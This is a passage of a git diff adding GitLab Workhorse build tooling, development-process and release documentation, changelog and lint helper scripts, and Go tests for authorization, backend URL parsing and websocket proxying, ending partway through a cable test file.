+prepare-tests: testdata/scratch
+
+testdata/data/group/test.git:
+ $(call message,$@)
+ git clone --quiet --bare https://gitlab.com/gitlab-org/gitlab-test.git $@
+
+testdata/scratch:
+ mkdir -p testdata/scratch
+
+.PHONY: verify
+verify: lint vet detect-context detect-assert check-formatting staticcheck deps-check
+
+.PHONY: lint
+lint: $(TARGET_SETUP)
+ $(call message,Verify: $@)
+ go install golang.org/x/lint/golint
+ @_support/lint.sh ./...
+
+.PHONY: vet
+vet: $(TARGET_SETUP)
+ $(call message,Verify: $@)
+ @go vet ./...
+
+.PHONY: detect-context
+detect-context: $(TARGET_SETUP)
+ $(call message,Verify: $@)
+ _support/detect-context.sh
+
+.PHONY: detect-assert
+detect-assert:
+ $(call message,Verify: $@)
+ _support/detect-assert.sh
+
+.PHONY: check-formatting
+check-formatting: $(TARGET_SETUP) install-goimports
+ $(call message,Verify: $@)
+ @_support/validate-formatting.sh $(LOCAL_GO_FILES)
+
+# Megacheck will tailor some responses given a minimum Go version, so pass that through the CLI
+# Additionally, megacheck will not return failure exit codes unless explicitly told to via the
+# `-simple.exit-non-zero` `-unused.exit-non-zero` and `-staticcheck.exit-non-zero` flags
+.PHONY: staticcheck
+staticcheck: $(TARGET_SETUP)
+ $(call message,Verify: $@)
+ go install honnef.co/go/tools/cmd/staticcheck
+ @ $(GOBIN)/staticcheck -go $(MINIMUM_SUPPORTED_GO_VERSION) ./...
+
+# In addition to fixing imports, goimports also formats your code in the same style as gofmt
+# so it can be used as a replacement.
+.PHONY: fmt
+fmt: $(TARGET_SETUP) install-goimports
+ $(call message,$@)
+ @goimports -w -local $(PKG) -l $(LOCAL_GO_FILES)
+
+.PHONY: goimports
+install-goimports: $(TARGET_SETUP)
+ $(call message,$@)
+ go install golang.org/x/tools/cmd/goimports
+
+.PHONY: deps-check
+deps-check:
+ go mod tidy
+ @if git diff --quiet --exit-code -- go.mod go.sum; then \
+ echo "go.mod and go.sum are ok"; \
+ else \
+ echo ""; \
+ echo "go.mod and go.sum are modified, please commit them";\
+ exit 1; \
+ fi;
diff --git a/workhorse/PROCESS.md b/workhorse/PROCESS.md
new file mode 100644
index 00000000000..07f553dd387
--- /dev/null
+++ b/workhorse/PROCESS.md
@@ -0,0 +1,152 @@
+# GitLab-Workhorse development process
+
+## Maintainers
+
+GitLab-Workhorse has the following maintainers:
+
+- Nick Thomas `@nick.thomas`
+- Jacob Vosmaer `@jacobvosmaer-gitlab`
+- Alessio Caiazza `@nolith`
+
+This list is defined at https://about.gitlab.com/team/.
+
+## Changelog
+
+GitLab-Workhorse keeps a changelog which is generated when a new release
+is created. The changelog is generated from entries that are included on each
+merge request. To generate an entry on your branch run:
+`_support/changelog "Change descriptions"`.
+
+After the merge request is created, the ID of the merge request needs to be set
+in the generated file. If you already know the merge request ID, run:
+`_support/changelog -m <ID> "Change descriptions"`.
+
+Any new merge request must contain either a new entry or a justification in the
+merge request description why no changelog entry is needed.
+
+## Merging and reviewing contributions
+
+Contributions must be reviewed by at least one Workhorse maintainer.
+The final merge must be performed by a maintainer.
+
+## Releases
+
+New versions of Workhorse can be released by one of the Workhorse
+maintainers. The release process is:
+
+- pick a release branch. For x.y.0, use `master`. For all other
+ versions (x.y.1, x.y.2 etc.) , use `x-y-stable`. Also see [below](#versioning)
+- run `make tag VERSION=x.y.z"` or `make signed_tag VERSION=x.y.z` on the release branch. This will
+ compile the changelog, bump the VERSION file, and make a tag matching it.
+- push the branch and the tag to gitlab.com
+- the new version will only be deployed to `gitlab.com` if [`GITLAB_WORKHORSE_VERSION`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_WORKHORSE_VERSION) is updated accordingly;
+ if applicable, please remind the person who originally asked for a new release to make this change
+ (the MR should include a link back to the [version tag](https://gitlab.com/gitlab-org/gitlab-workhorse/-/tags) and a copy of the changelog)
+
+## Security releases
+
+Workhorse is included in the packages we create for GitLab, and each version of
+GitLab specifies the version of Workhorse it uses in the `GITLAB_WORKHORSE_VERSION`
+file, so security fixes in Workhorse are tightly coupled to the [general security release](https://about.gitlab.com/handbook/engineering/workflow/#security-issues)
+workflow, with some elaborations to account for the changes happening across two
+repositories. In particular, the Workhorse maintainer takes responsibility for
+creating new patch versions of Workhorse that can be used in the security
+release.
+
+As security fixes are backported three releases in addition to master, and
+changes need to happen across two repositories, up to eight merge requests, and
+four Workhorse releases, can be required to fix a security issue in Workhorse.
+This is a lot of overhead, so in general, it is better to fix security issues
+without changing Workhorse. Where changes **are** necessary, this section
+documents the necessary steps.
+
+If you're working on a security fix in Workhorse, you need two sets of merge
+requests:
+
+* The fix itself, in the `gitlab-org/security/gitlab-workhorse` repository
+* A merge request to change the version of workhorse included in the GitLab
+ security release, in the `gitlab-org/security/gitlab` repository.
+
+If the Workhorse maintainer isn't also a GitLab maintainer, reviews will need to
+be split across several people. If changes to GitLab **code** are required in
+addition to the change of Workhorse version, they both happen in the same merge
+request.
+
+Start by creating a single merge request targeting `master` in Workhorse. Ensure
+you include a changelog! If code changes are needed in GitLab as well, create a
+GitLab merge request targeting `master` at this point, but don't worry about the
+`GITLAB_WORKHORSE_VERSION` file yet.
+
+Once the changes have passed review, the Workhorse maintainer will determine the
+new versions of Workhorse that will be needed, and communicate that to the
+author. To do this, examine the `GITLAB_WORKHORSE_VERSION` file on each GitLab
+stable branch; for instance, if the security release consisted of GitLab
+versions `12.10.1`, `12.9.2`, `12.8.3`, and `12.7.4`, we would see the following:
+
+```
+gitlab$ git fetch security master 12-10-stable-ee 12-9-stable-ee 12-8-stable-ee 12-7-stable-ee`
+gitlab$ git show refs/remotes/security/master:GITLAB_WORKHORSE_VERSION
+8.30.1
+gitlab$ git show refs/remotes/security/12-10-stable-ee:GITLAB_WORKHORSE_VERSION
+8.30.1
+gitlab$ git show refs/remotes/security/12-9-stable-ee:GITLAB_WORKHORSE_VERSION
+8.25.2
+gitlab$ git show refs/remotes/security/12-8-stable-ee:GITLAB_WORKHORSE_VERSION
+8.21.2
+gitlab$ git show refs/remotes/security/12-7-stable-ee:GITLAB_WORKHORSE_VERSION
+8.21.2
+```
+
+In this example, there are three distinct Workhorse stable branches to be
+concerned with, plus Workhorse master: `8-30-stable`, `8-25-stable`, and
+`8-21-stable`, and we can predict that we are going to need to create Workhorse
+releases `8.30.2`, `8.25.3`, and `8.21.3`.
+
+The author needs to create a merge request targeting each Workhorse stable
+branch, and verify that the fix works once backported. They also need to create
+(or update, if they already exist) GitLab merge requests, setting the
+`GITLAB_WORKHORSE_VERSION` file to the predicted workhorse version, and assign
+all the MRs back to the appropriate maintainer(s). The pipeline for the GitLab
+MRs will fail until the Workhorse releases have been tagged; you can use the
+`=workhorse_branch_name` syntax in the `GITLAB_WORKHORSE_VERSION` file to verify
+that the MRs interact as expected, if necessary.
+
+Once all involved maintainers are happy with the overall change, the Workhorse
+maintainer will merge each of the Workhorse MRs and generate new Workhorse
+releases from the stable branches. The tags will be present on the `security`
+mirror and `dev.gitlab.org` **only** at this point.
+
+Once the Workhorse tags exist, the GitLab maintainer ensures that all the GitLab
+MRs are green and assigns those MRs on to the release bot.
+
+The release managers merge the GitLab MRs, tag GitLab releases that reference
+the new Workhorse tags, and release them in the usual way.
+
+Once the security release is done, the Workhorse maintainer is responsible for
+syncing the changes to the `gitlab-org/gitlab-workhorse` repository. Push the
+changes to `master`, the new tags, and all the changes to the stable branches.
+
+This process is quite involved, very manual, and extremely error-prone; work is
+ongoing on automating it.
+
+## Versioning
+
+Workhorse uses a variation of SemVer. We don't use "normal" SemVer
+because we have to be able to integrate into GitLab stable branches.
+
+A version has the format MAJOR.MINOR.PATCH.
+
+- Major and minor releases are tagged on the `master` branch
+- If the change is backwards compatible, increment the MINOR counter
+- If the change breaks compatibility, increment MAJOR and set MINOR to `0`
+- Patch release tags must be made on stable branches
+- Only make a patch release when targeting a GitLab stable branch
+
+This means that tags that end in `.0` (e.g. `8.5.0`) must always be on
+the master branch, and tags that end in anthing other than `.0` (e.g.
+`8.5.2`) must always be on a stable branch.
+
+> The reason we do this is that SemVer suggests something like a
+> refactoring constitutes a "patch release", while the GitLab stable
+> branch quality standards do not allow for back-porting refactorings
+> into a stable branch.
diff --git a/workhorse/README.md b/workhorse/README.md
new file mode 100644
index 00000000000..c1ff104cda8
--- /dev/null
+++ b/workhorse/README.md
@@ -0,0 +1,41 @@
+# GitLab Workhorse
+
+GitLab Workhorse is a smart reverse proxy for GitLab. It handles
+"large" HTTP requests such as file downloads, file uploads, Git
+push/pull and Git archive downloads.
+
+Workhorse itself is not a feature, but there are [several features in
+GitLab](doc/architecture/gitlab_features.md) that would not work efficiently without Workhorse.
+
+## Canonical source
+
+The canonical source for Workhorse is currently
+[gitlab-org/gitlab-workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse).
+As explained in https://gitlab.com/groups/gitlab-org/-/epics/4826, we
+are in the process of moving the canonical source to
+[gitlab-org/gitlab/workhorse](https://gitlab.com/gitlab-org/gitlab/tree/master/workhorse).
+
+Until that transition is complete, changes (Merge Requests) for
+Workhorse should be submitted at
+[gitlab-org/gitlab-workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse).
+Once merged, they will propagate to gitlab-org/gitlab/workhorse via
+the usual Workhorse release process.
+
+## Documentation
+
+Workhorse documentation is available in the [`doc` folder of this repository](doc/).
+
+* Architectural overview
+ * [GitLab features that rely on Workhorse](doc/architecture/gitlab_features.md)
+ * [Websocket channel support](doc/architecture/channel.md)
+* Operating Workhorse
+ * [Source installation](doc/operations/install.md)
+ * [Workhorse configuration](doc/operations/configuration.md)
+* [Contributing](CONTRIBUTING.md)
+ * [Adding new features](doc/development/new_features.md)
+ * [Testing your code](doc/development/tests.md)
+
+## License
+
+This code is distributed under the MIT license, see the [LICENSE](LICENSE) file.
+
diff --git a/workhorse/VERSION b/workhorse/VERSION
new file mode 100644
index 00000000000..b315ff1896d
--- /dev/null
+++ b/workhorse/VERSION
@@ -0,0 +1 @@
+8.58.0
diff --git a/workhorse/_support/changelog b/workhorse/_support/changelog
new file mode 100755
index 00000000000..0e733cc0062
--- /dev/null
+++ b/workhorse/_support/changelog
@@ -0,0 +1,243 @@
+#!/usr/bin/env ruby
+#
+# Generate a changelog entry file in the correct location.
+#
+# Automatically stages the file and amends the previous commit if the `--amend`
+# argument is used.
+#
+# Stolen from gitlab-org/gitaly, lifted from gitlab-org/gitlab-ce
+
+require 'optparse'
+require 'yaml'
+
+Options = Struct.new(
+ :amend,
+ :author,
+ :dry_run,
+ :force,
+ :merge_request,
+ :title,
+ :type
+)
+INVALID_TYPE = -1
+
+class ChangelogOptionParser
+ Type = Struct.new(:name, :description)
+ TYPES = [
+ Type.new('added', 'New feature'),
+ Type.new('fixed', 'Bug fix'),
+ Type.new('changed', 'Feature change'),
+ Type.new('deprecated', 'New deprecation'),
+ Type.new('removed', 'Feature removal'),
+ Type.new('security', 'Security fix'),
+ Type.new('performance', 'Performance improvement'),
+ Type.new('other', 'Other')
+ ].freeze
+ TYPES_OFFSET = 1
+
+ class << self
+ def parse(argv)
+ options = Options.new
+
+ parser = OptionParser.new do |opts|
+ opts.banner = "Usage: #{__FILE__} [options] [title]\n\n"
+
+ # Note: We do not provide a shorthand for this in order to match the `git
+ # commit` interface
+ opts.on('--amend', 'Amend the previous commit') do |value|
+ options.amend = value
+ end
+
+ opts.on('-f', '--force', 'Overwrite an existing entry') do |value|
+ options.force = value
+ end
+
+ opts.on('-m', '--merge-request [integer]', Integer, 'Merge Request ID') do |value|
+ options.merge_request = value
+ end
+
+ opts.on('-n', '--dry-run', "Don't actually write anything, just print") do |value|
+ options.dry_run = value
+ end
+
+ opts.on('-u', '--git-username', 'Use Git user.name configuration as the author') do |value|
+ options.author = git_user_name if value
+ end
+
+ opts.on('-t', '--type [string]', String, "The category of the change, valid options are: #{TYPES.map(&:name).join(', ')}") do |value|
+ options.type = parse_type(value)
+ end
+
+ opts.on('-h', '--help', 'Print help message') do
+ $stdout.puts opts
+ exit
+ end
+ end
+
+ parser.parse!(argv)
+
+ # Title is everything that remains, but let's clean it up a bit
+ options.title = argv.join(' ').strip.squeeze(' ').tr("\r\n", '')
+
+ options
+ end
+
+ def read_type
+ read_type_message
+
+ type = TYPES[$stdin.getc.to_i - TYPES_OFFSET]
+ assert_valid_type!(type)
+
+ type.name
+ end
+
+ private
+
+ def parse_type(name)
+ type_found = TYPES.find do |type|
+ type.name == name
+ end
+ type_found ? type_found.name : INVALID_TYPE
+ end
+
+ def read_type_message
+ $stdout.puts "\n>> Please specify the index for the category of your change:"
+ TYPES.each_with_index do |type, index|
+ $stdout.puts "#{index + TYPES_OFFSET}. #{type.description}"
+ end
+ $stdout.print "\n?> "
+ end
+
+ def assert_valid_type!(type)
+ unless type
+ $stderr.puts "Invalid category index, please select an index between 1 and #{TYPES.length}"
+ exit 1
+ end
+ end
+
+ def git_user_name
+ %x{git config user.name}.strip
+ end
+ end
+end
+
+class ChangelogEntry
+ attr_reader :options
+
+ def initialize(options)
+ @options = options
+
+ assert_feature_branch!
+ assert_title!
+ assert_new_file!
+
+ # Read type from $stdin unless is already set
+ options.type ||= ChangelogOptionParser.read_type
+ assert_valid_type!
+
+ $stdout.puts "\e[32mcreate\e[0m #{file_path}"
+ $stdout.puts contents
+
+ unless options.dry_run
+ write
+ amend_commit if options.amend
+ end
+ end
+
+ private
+
+ def contents
+ yaml_content = YAML.dump(
+ 'title' => title,
+ 'merge_request' => options.merge_request,
+ 'author' => options.author,
+ 'type' => options.type
+ )
+ remove_trailing_whitespace(yaml_content)
+ end
+
+ def write
+ File.write(file_path, contents)
+ end
+
+ def amend_commit
+ %x{git add #{file_path}}
+ exec("git commit --amend")
+ end
+
+ def fail_with(message)
+ $stderr.puts "\e[31merror\e[0m #{message}"
+ exit 1
+ end
+
+ def assert_feature_branch!
+ return unless branch_name == 'master'
+
+ fail_with "Create a branch first!"
+ end
+
+ def assert_new_file!
+ return unless File.exist?(file_path)
+ return if options.force
+
+ fail_with "#{file_path} already exists! Use `--force` to overwrite."
+ end
+
+ def assert_title!
+ return if options.title.length > 0 || options.amend
+
+ fail_with "Provide a title for the changelog entry or use `--amend`" \
+ " to use the title from the previous commit."
+ end
+
+ def assert_valid_type!
+ return unless options.type && options.type == INVALID_TYPE
+
+ fail_with 'Invalid category given!'
+ end
+
+ def title
+ if options.title.empty?
+ last_commit_subject
+ else
+ options.title
+ end
+ end
+
+ def last_commit_subject
+ %x{git log --format="%s" -1}.strip
+ end
+
+ def file_path
+ File.join(
+ unreleased_path,
+ branch_name.gsub(/[^\w-]/, '-') << '.yml'
+ )
+ end
+
+ def unreleased_path
+ path = File.join('changelogs', 'unreleased')
+ path = File.join('ee', path) if ee?
+
+ path
+ end
+
+ def ee?
+ @ee ||= File.exist?(File.expand_path('../CHANGELOG-EE.md', __dir__))
+ end
+
+ def branch_name
+ @branch_name ||= %x{git symbolic-ref --short HEAD}.strip
+ end
+
+ def remove_trailing_whitespace(yaml_content)
+ yaml_content.gsub(/ +$/, '')
+ end
+end
+
+if $0 == __FILE__
+ options = ChangelogOptionParser.parse(ARGV)
+ ChangelogEntry.new(options)
+end
+
+# vim: ft=ruby
diff --git a/workhorse/_support/check_changelog.sh b/workhorse/_support/check_changelog.sh
new file mode 100755
index 00000000000..2f9850f09fd
--- /dev/null
+++ b/workhorse/_support/check_changelog.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+
+set -e
+
+# we skip the changelog check if the merge requet title ends with "NO CHANGELOG"
+if echo "$CI_MERGE_REQUEST_TITLE" | grep -q ' NO CHANGELOG$'; then
+ echo "Changelog not needed"
+
+ exit 0
+fi
+
+target=${CI_MERGE_REQUEST_TARGET_BRANCH_NAME:-master}
+
+if git diff --name-only "origin/$target" | grep -q '^changelogs/' ; then
+ echo "Changelog included"
+else
+ echo "Please add a changelog running '_support/changelog'"
+ echo "or disable this check adding 'NO CHANGELOG' at the end of the merge request title"
+ echo "/title $CI_MERGE_REQUEST_TITLE NO CHANGELOG"
+
+ exit 1
+fi
diff --git a/workhorse/_support/detect-assert.sh b/workhorse/_support/detect-assert.sh
new file mode 100755
index 00000000000..351cef763b5
--- /dev/null
+++ b/workhorse/_support/detect-assert.sh
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+git grep 'testify/assert"' | \
+ grep -e '^[^:]*\.go' | \
+ awk '{
+ print "error: please use testify/require instead of testify/assert"
+ print
+ exit 1
+}'
diff --git a/workhorse/_support/detect-context.sh b/workhorse/_support/detect-context.sh
new file mode 100755
index 00000000000..60ad212decf
--- /dev/null
+++ b/workhorse/_support/detect-context.sh
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+git grep 'context.\(Background\|TODO\)' | \
+ grep -v -e '^[^:]*_test\.go:' -v -e "lint:allow context.Background" -e '^vendor/' -e '^_support/' -e '^cmd/[^:]*/main.go' | \
+ grep -e '^[^:]*\.go' | \
+ awk '{
+ print "Found disallowed use of context.Background or TODO"
+ print
+ exit 1
+}'
diff --git a/workhorse/_support/fake-auth-backend.go b/workhorse/_support/fake-auth-backend.go
new file mode 100644
index 00000000000..17dbcb3b35f
--- /dev/null
+++ b/workhorse/_support/fake-auth-backend.go
@@ -0,0 +1,22 @@
+package main
+
+import (
+ "fmt"
+ "net/http"
+ "os"
+
+ "gitlab.com/gitlab-org/labkit/log"
+)
+
+func main() {
+ if len(os.Args) == 1 {
+ fmt.Fprintf(os.Stderr, "Usage: %s /path/to/test-repo.git\n", os.Args[0])
+ os.Exit(1)
+ }
+
+ http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
+ fmt.Fprintf(w, `{"RepoPath":"%s","ArchivePath":"%s"}`, os.Args[1], r.URL.Path)
+ })
+
+ log.Fatal(http.ListenAndServe("localhost:8080", nil))
+}
diff --git a/workhorse/_support/generate_changelog b/workhorse/_support/generate_changelog
new file mode 100755
index 00000000000..a9a8bae5a25
--- /dev/null
+++ b/workhorse/_support/generate_changelog
@@ -0,0 +1,75 @@
+#!/usr/bin/env ruby
+# Generates the changelog from the yaml entries in changelogs/unreleased
+#
+# Lifted form gitlab-org/gitaly
+
+require 'yaml'
+require 'fileutils'
+
+class ChangelogEntry
+ attr_reader :title, :merge_request, :type, :author
+
+ def initialize(file_path)
+ yaml = YAML.safe_load(File.read(file_path))
+
+ @title = yaml['title']
+ @merge_request = yaml['merge_request']
+ @type = yaml['type']
+ @author = yaml['author']
+ end
+
+ def to_s
+ str = ""
+ str << "- #{title}\n"
+ str << " https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/#{merge_request}\n"
+ str << " Contributed by #{author}\n" if author
+
+ str
+ end
+end
+
+ROOT_DIR = File.expand_path('../..', __FILE__)
+UNRELEASED_ENTRIES = File.join(ROOT_DIR, 'changelogs', 'unreleased')
+CHANGELOG_FILE = File.join(ROOT_DIR, 'CHANGELOG')
+
+def main(version)
+ entries = []
+ Dir["#{UNRELEASED_ENTRIES}/*.yml"].each do |yml|
+ entries << ChangelogEntry.new(yml)
+ FileUtils.rm(yml)
+ end
+
+ sections = []
+ types = entries.map(&:type).uniq.sort
+ types.each do |type|
+ text = ''
+ text << "### #{type.capitalize}\n"
+
+ entries.each do |e|
+ next unless e.type == type
+
+ text << e.to_s
+ end
+
+ sections << text
+ end
+
+ sections << '- No changes.' if sections.empty?
+
+ new_version_entry = ["## v#{version}\n\n", sections.join("\n"), "\n"].join
+
+ current_changelog = File.read(CHANGELOG_FILE).lines
+ header = current_changelog.shift(2)
+
+ new_changelog = [header, new_version_entry, current_changelog.join]
+
+ File.write(CHANGELOG_FILE, new_changelog.join)
+end
+
+unless ARGV.count == 1
+ warn "Usage: #{$0} VERSION"
+ warn "Specify version as x.y.z"
+ abort
+end
+
+main(ARGV.first)
diff --git a/workhorse/_support/lint.sh b/workhorse/_support/lint.sh
new file mode 100755
index 00000000000..b016f088d80
--- /dev/null
+++ b/workhorse/_support/lint.sh
@@ -0,0 +1,11 @@
+#!/bin/sh
+
+# Unfortunately, workhorse fails many lint checks which we currently ignore
+LINT_RESULT=$(golint "$@"|grep -Ev 'should have|should be|use ALL_CAPS in Go names')
+
+if [ -n "${LINT_RESULT}" ]; then
+ echo >&2 "Formatting or imports need fixing: 'make fmt'"
+ echo ">>${LINT_RESULT}<<"
+ exit 1
+fi
+
diff --git a/workhorse/_support/tag.sh b/workhorse/_support/tag.sh
new file mode 100644
index 00000000000..639fd141dad
--- /dev/null
+++ b/workhorse/_support/tag.sh
@@ -0,0 +1,45 @@
+set -e
+
+main() {
+ version=$1
+ set_version
+
+ changelog
+
+ git commit VERSION -m "Update VERSION to $version"
+
+ tag_name="v${version}"
+ git tag $TAG_OPTS -m "Version ${version}" -a ${tag_name}
+ git show ${tag_name}
+ cat <<'EOF'
+
+ Remember to now push your tag, either to gitlab.com (for a
+ normal release) or dev.gitlab.org (for a security release).
+EOF
+}
+
+set_version() {
+ if ! echo "${version}" | grep -q '^[0-9]\+\.[0-9]\+\.[0-9]\+$' ; then
+ echo "Invalid VERSION: ${version}"
+ exit 1
+ fi
+
+ if git tag --list | grep -q "^v${version}$" ; then
+ echo "Tag already exists for ${version}"
+ exit 1
+ fi
+
+ echo "$version" > VERSION
+}
+
+changelog() {
+ _support/generate_changelog "$version"
+
+ git commit CHANGELOG changelogs/unreleased --file - <<EOF
+Update CHANGELOG for ${version}
+
+[ci skip]
+EOF
+}
+
+main "$@"
diff --git a/workhorse/_support/validate-formatting.sh b/workhorse/_support/validate-formatting.sh
new file mode 100755
index 00000000000..190f646f8df
--- /dev/null
+++ b/workhorse/_support/validate-formatting.sh
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+IMPORT_RESULT=$(goimports -e -local "gitlab.com/gitlab-org/gitlab-workhorse" -l "$@")
+
+if [ -n "${IMPORT_RESULT}" ]; then
+ echo >&2 "Formatting or imports need fixing: 'make fmt'"
+ echo "${IMPORT_RESULT}"
+ exit 1
+fi
diff --git a/workhorse/authorization_test.go b/workhorse/authorization_test.go
new file mode 100644
index 00000000000..8be1fdcf73a
--- /dev/null
+++ b/workhorse/authorization_test.go
@@ -0,0 +1,131 @@
+package main
+
+import (
+ "context"
+ "fmt"
+ "net/http"
+ "net/http/httptest"
+ "regexp"
+ "testing"
+
+ "gitlab.com/gitlab-org/labkit/correlation"
+
+ "github.com/dgrijalva/jwt-go"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream/roundtripper"
+)
+
+func okHandler(w http.ResponseWriter, _ *http.Request, _ *api.Response) {
+ w.WriteHeader(201)
+ fmt.Fprint(w, "{\"status\":\"ok\"}")
+}
+
+func runPreAuthorizeHandler(t *testing.T, ts *httptest.Server, suffix string, url *regexp.Regexp, apiResponse interface{}, returnCode, expectedCode int) *httptest.ResponseRecorder {
+ if ts == nil {
+ ts = testAuthServer(t, url, nil, returnCode, apiResponse)
+ defer ts.Close()
+ }
+
+ // Create http request
+ ctx := correlation.ContextWithCorrelation(context.Background(), "12345678")
+ httpRequest, err := http.NewRequestWithContext(ctx, "GET", "/address", nil)
+ require.NoError(t, err)
+ parsedURL := helper.URLMustParse(ts.URL)
+ testhelper.ConfigureSecret()
+ a := api.NewAPI(parsedURL, "123", roundtripper.NewTestBackendRoundTripper(parsedURL))
+
+ response := httptest.NewRecorder()
+ a.PreAuthorizeHandler(okHandler, suffix).ServeHTTP(response, httpRequest)
+ require.Equal(t, expectedCode, response.Code)
+ return response
+}
+
+func TestPreAuthorizeHappyPath(t *testing.T) {
+ runPreAuthorizeHandler(
+ t, nil, "/authorize",
+ regexp.MustCompile(`/authorize\z`),
+ &api.Response{},
+ 200, 201)
+}
+
+func TestPreAuthorizeSuffix(t *testing.T) {
+ runPreAuthorizeHandler(
+ t, nil, "/different-authorize",
+ regexp.MustCompile(`/authorize\z`),
+ &api.Response{},
+ 200, 404)
+}
+
+func TestPreAuthorizeJsonFailure(t *testing.T) {
+ runPreAuthorizeHandler(
+ t, nil, "/authorize",
+ regexp.MustCompile(`/authorize\z`),
+ "not-json",
+ 200, 500)
+}
+
+func TestPreAuthorizeContentTypeFailure(t *testing.T) {
+ ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, err := w.Write([]byte(`{"hello":"world"}`))
+ require.NoError(t, err, "write auth response")
+ }))
+ defer ts.Close()
+
+ runPreAuthorizeHandler(
+ t, ts, "/authorize",
+ regexp.MustCompile(`/authorize\z`),
+ "",
+ 200, 200)
+}
+
+func TestPreAuthorizeRedirect(t *testing.T) {
+ ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ http.Redirect(w, r, "/", http.StatusMovedPermanently)
+ }))
+ defer ts.Close()
+
+ runPreAuthorizeHandler(t, ts, "/willredirect",
+ regexp.MustCompile(`/willredirect\z`),
+ "",
+ 301, 301)
+}
+
+func TestPreAuthorizeJWT(t *testing.T) {
+ ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ token, err := jwt.Parse(r.Header.Get(secret.RequestHeader), func(token *jwt.Token) (interface{}, error) {
+ // Don't forget to validate the alg is what you expect:
+ if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
+ return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"])
+ }
+ testhelper.ConfigureSecret()
+ secretBytes, err := secret.Bytes()
+ if err != nil {
+ return nil, fmt.Errorf("read secret from file: %v", err)
+ }
+
+ return secretBytes, nil
+ })
+ require.NoError(t, err, "decode token")
+
+ claims, ok := token.Claims.(jwt.MapClaims)
+ require.True(t, ok, "claims cast")
+ require.True(t, token.Valid, "JWT token valid")
+ require.Equal(t, "gitlab-workhorse", claims["iss"], "JWT token issuer")
+
+ w.Header().Set("Content-Type", api.ResponseContentType)
+ _, err = w.Write([]byte(`{"hello":"world"}`))
+ require.NoError(t, err, "write auth response")
+ }))
+ defer ts.Close()
+
+ runPreAuthorizeHandler(
+ t, ts, "/authorize",
+ regexp.MustCompile(`/authorize\z`),
+ "",
+ 200, 201)
+}
diff --git a/workhorse/backend.go b/workhorse/backend.go
new file mode 100644
index 00000000000..aef1214abc9
--- /dev/null
+++ b/workhorse/backend.go
@@ -0,0 +1,30 @@
+package main
+
+import (
+ "fmt"
+ "net/url"
+)
+
+func parseAuthBackend(authBackend string) (*url.URL, error) {
+ backendURL, err := url.Parse(authBackend)
+ if err != nil {
+ return nil, err
+ }
+
+ if backendURL.Host == "" {
+ backendURL, err = url.Parse("http://" + authBackend)
+ if err != nil {
+ return nil, err
+ }
+ }
+
+ if backendURL.Scheme != "http" {
+ return nil, fmt.Errorf("invalid scheme, only 'http' is allowed: %q", authBackend)
+ }
+
+ if backendURL.Host == "" {
+ return nil, fmt.Errorf("missing host in %q", authBackend)
+ }
+
+ return backendURL, nil
+}
diff --git a/workhorse/backend_test.go b/workhorse/backend_test.go
new file mode 100644
index 00000000000..c15947a75ad
--- /dev/null
+++ b/workhorse/backend_test.go
@@ -0,0 +1,41 @@
+package main
+
+import (
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestParseAuthBackendFailure(t *testing.T) {
+ failures := []string{
+ "",
+ "ftp://localhost",
+ "https://example.com",
+ }
+
+ for _, example := range failures {
+ t.Run(example, func(t *testing.T) {
+ _, err := parseAuthBackend(example)
+ require.Error(t, err)
+ })
+ }
+}
+
+func TestParseAuthBackend(t *testing.T) {
+ successes := []struct{ input, host, scheme string }{
+ {"http://localhost:8080", "localhost:8080", "http"},
+ {"localhost:3000", "localhost:3000", "http"},
+ {"http://localhost", "localhost", "http"},
+ {"localhost", "localhost", "http"},
+ }
+
+ for _, example := range successes {
+ t.Run(example.input, func(t *testing.T) {
+ result, err := parseAuthBackend(example.input)
+ require.NoError(t, err)
+
+ require.Equal(t, example.host, result.Host, "host")
+ require.Equal(t, example.scheme, result.Scheme, "scheme")
+ })
+ }
+}
diff --git a/workhorse/cable_test.go b/workhorse/cable_test.go
new file mode 100644
index 00000000000..7320837541a
--- /dev/null
+++ b/workhorse/cable_test.go
@@ -0,0 +1,93 @@
+package main
+
+import (
+ "net/http"
+ "net/http/httptest"
+ "net/url"
+ "regexp"
+ "testing"
+
+ "github.com/gorilla/websocket"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+const cablePath = "/-/cable"
+
+func TestSingleBackend(t *testing.T) {
+ cableServerConns, cableBackendServer := startCableServer()
+ defer cableBackendServer.Close()
+
+ config := newUpstreamWithCableConfig(cableBackendServer.URL, "")
+ workhorse := startWorkhorseServerWithConfig(config)
+ defer workhorse.Close()
+
+ cableURL := websocketURL(workhorse.URL, cablePath)
+
+ client, _, err := dialWebsocket(cableURL, nil)
+ require.NoError(t, err)
+ defer client.Close()
+
+ server := (<-cableServerConns).conn
+ defer server.Close()
+
+ require.NoError(t, say(client, "hello"))
+ requireReadMessage(t, server, websocket.TextMessage, "hello")
+
+ require.NoError(t, say(server, "world"))
+ requireReadMessage(t, client, websocket.TextMessage, "world")
+}
+
+func TestSeparateCableBackend(t *testing.T) {
+ authBackendServer := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), http.HandlerFunc(http.NotFound))
+ defer authBackendServer.Close()
+
+ cableServerConns, cableBackendServer := startCableServer()
